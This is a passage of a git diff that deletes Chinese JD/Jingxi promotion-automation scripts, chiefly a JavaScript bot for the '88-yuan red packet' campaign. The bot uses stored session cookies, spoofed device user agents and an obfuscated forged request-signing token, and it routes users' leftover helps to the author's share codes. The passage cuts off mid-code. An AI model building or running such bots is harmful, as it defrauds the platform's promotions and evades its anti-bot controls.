- tuanId, surplusOpenTuanNum = CreateTuan(cookiesList[ckNum]) - if i+1 == 1: - s_label = surplusOpenTuanNum - else: - if surplusOpenTuanNum == s_label: - print(f'好友没有助力机会了') - break - if tuanId: - u = 1 - for i in cookiesList: - if i == cookiesList[ckNum]: - u += 1 - continue - if JoinTuan(i, tuanId, u, suser=userName, user=userNameList[cookiesList.index(i)]): - Award(cookiesList[ckNum], tuanId) - break - u += 1 - else: - print(f'用户【{userName}】,今天已完成所有团。') - break - s += 1 - Award(cookiesList[ckNum], "") - try: - u = 1 - for name in countElectric.keys(): - if u == 1: - msg("\n###【本次统计 {}】###\n".format(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))) - msg(f"账号【{name}】\n\t└成功领取电力:{countElectric[name]}") - u += 1 - if '成功领取电力' in msg_info: - send(scriptName, msg_info) - except: - pass -if __name__ == '__main__': - start() \ No newline at end of file diff --git a/backUp/jd_jxlhb.js b/backUp/jd_jxlhb.js deleted file mode 100644 index bfa307b..0000000 --- a/backUp/jd_jxlhb.js +++ /dev/null @@ -1,394 +0,0 @@ -/* -京喜领88元红包 -活动入口:京喜app-》我的-》京喜领88元红包 -助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 -温馨提示:如提示助力火爆,可尝试寻找京东客服 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#京喜领88元红包 -4 3,13,21 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -==============Loon============== -[Script] -cron "4 3,13,21 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 - -================Surge=============== -京喜领88元红包 = type=cron,cronexp="4 3,13,21 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js - -===============小火箭========== -京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 3,13,21 * * *", timeout=3600, enable=true - */ -const $ = new Env('京喜领88元红包'); -const notify = $.isNode() ? require('./sendNotify') : {}; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; -let cookiesArr = [], cookie = ''; -let UA, UAInfo = {}, codeInfo = {}, token; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -$.packetIdArr = []; -$.activeId = '525597'; -const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log('京喜领88元红包\n' + - '活动入口:京喜app-》我的-》京喜领88元红包\n' + - '助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者\n' + - '温馨提示:如提示助力火爆,可尝试寻找京东客服') - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jxhb.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json') - } - if (res && res.activeId) $.activeId = res.activeId; - let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/shufflewzc/updateTeam/main/shareCodes/jxhb.json') - if (!res2) { - await $.wait(1000) - res2 = await getAuthorShareCode('https://raw.fastgit.org/shufflewzc/updateTeam/main/shareCodes/jxhb.json') - } - $.authorMyShareIds = [...((res && res.codes) || []),...(res2 || [])]; - //开启红包,获取互助码 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true - $.nickName = '' - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - token = await getJxToken() - await main(); - } - //互助 - console.log(`\n\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n\n`); - console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); - if ($.UserName === $.packetIdArr[j].userName) { - console.log(`助力失败:不能助力自己`) - continue - } - $.max = false; - await enrollFriend($.packetIdArr[j].strUserPin); - await $.wait(5000); - if ($.max) { - $.packetIdArr.splice(j, 1) - j-- - continue - } - } - if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { - console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) - for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { - console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); - $.max = false; - await enrollFriend($.authorMyShareIds[j]); - await $.wait(5000); - if ($.max) { - $.authorMyShareIds.splice(j, 1) - j-- - continue - } - } - } - } - //拆红包 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.canOpenGrade = true; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - UA = UAInfo[$.UserName] - token = await getJxToken() - for (let grade of $.grades) { - if (!codeInfo[$.UserName]) continue; - console.log(`\n【${$.UserName}】去拆第${grade}个红包`); - await openRedPack(codeInfo[$.UserName], grade); - if (!$.canOpenGrade) break - await $.wait(15000); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function main() { - await joinActive(); - await $.wait(2000) - await getUserInfo() -} -//参与活动 -function joinActive() { - return new Promise(resolve => { - const body = "" - const options = taskurl('JoinActive', body, 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp'); - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - // console.log('开启活动', data) - data = JSON.parse(data) - if (data.iRet === 0) { - console.log(`活动开启成功,助力邀请码为:${data.Data.strUserPin}\n`); - } else { - console.log(`活动开启失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//获取助力码 -function getUserInfo() { - return new Promise(resolve => { - const body = `joinDate=${$.time('yyyyMMdd')}`; - const options = taskurl('GetUserInfo', body, 'activeId,channel,joinDate,phoneid,publishFlag,timestamp'); - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - // console.log('获取助力码', data) - data = JSON.parse(data) - if (data.iRet === 0) { - $.grades = [] - $.helpNum = '' - let grades = data.Data.gradeConfig - for(let key of Object.keys(grades)){ - let vo = grades[key] - $.grades.push(vo.dwGrade) - $.helpNum = vo.dwHelpTimes - } - if (data.Data.dwHelpedTimes === $.helpNum) { - console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) - } else { - console.log(`获取助力码成功:${data.Data.strUserPin}\n`); - if (data.Data.strUserPin) { - $.packetIdArr.push({ - strUserPin: data.Data.strUserPin, - userName: $.UserName - }) - } - } - if (data.Data.strUserPin) { - codeInfo[$.UserName] = data.Data.strUserPin - } - } else { - console.log(`获取助力码失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//助力好友 -function enrollFriend(strPin) { - return new Promise(resolve => { - // console.log('\nstrPin ' + strPin); - const body = `strPin=${strPin}&joinDate=${$.time('yyyyMMdd')}` - const options = taskurl('EnrollFriend', body, 'activeId,channel,joinDate,phoneid,publishFlag,strPin,timestamp'); - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.log(JSON.stringify(err)); - } else { - // console.log('助力结果', data) - data = JSON.parse(data) - if (data.iRet === 0) { - //{"Data":{"prizeInfo":[]},"iRet":0,"sErrMsg":"成功"} - console.log(`助力成功🎉:${data.sErrMsg}\n`); - // if (data.Data.strUserPin) $.packetIdArr.push(data.Data.strUserPin); - } else { - if (data.iRet === 2000) $.canHelp = false;//未登录 - if (data.iRet === 2015) $.canHelp = false;//助力已达上限 - if (data.iRet === 2016) { - $.canHelp = false;//助力火爆 - console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); - } - if (data.iRet === 2013) $.max = true; - console.log(`助力失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function openRedPack(strPin, grade) { - return new Promise(resolve => { - const body = `strPin=${strPin}&grade=${grade}` - const options = taskurl('DoGradeDraw', body, 'activeId,channel,grade,phoneid,publishFlag,stepreward_jstoken,strPin,timestamp'); - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) - $.logErr(err); - } else { - // console.log(`拆红包结果:${data}`); - data = JSON.parse(data) - if (data.iRet === 0) { - console.log(`拆红包成功:${data.sErrMsg}\n`); - } else { - if (data.iRet === 2017) $.canOpenGrade = false; - console.log(`拆红包失败:${data.sErrMsg}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -function taskurl(function_path, body = '', stk) { - let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}&publishFlag=1&channel=7&${body}&sceneval=2&g_login_type=1×tamp=${token['timestamp']}&_=${Date.now() + 2}&_ste=1` - url += `&phoneid=${token['phoneid']}` - url += `&stepreward_jstoken=${token['farm_jstoken']}` - if (stk) { - url += '&_stk=' + encodeURIComponent(stk) - } - return { - url: url, - headers: { - 'Host': 'm.jingxi.com', - 'Cookie': cookie, - 'Accept': "*/*", - 'Accept-Encoding': 'gzip, deflate, br', - 'User-Agent': UA, - 'Accept-Language': 'zh-cn', - 'Referer': `https://act.jingxi.com/cube/front/activePublish/step_reward/${$.activeId}.html` - } - } -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 